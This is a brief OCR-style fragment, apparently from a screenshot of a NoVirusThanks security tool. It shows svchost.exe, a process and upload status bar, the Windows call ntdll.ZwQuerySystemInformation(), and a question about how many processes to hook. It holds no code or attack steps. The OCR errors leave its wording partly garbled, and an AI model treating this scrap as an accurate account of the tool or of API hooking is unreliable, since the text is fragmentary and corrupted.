‘1' svchost.exe M
| © NoVirusThanks Company Sl Processes: 71 Files Uploaded: 3 Status: Idle...

ntdll.ZwQuerySystemInformation()

» [ssues: How many process(es) should we hook?
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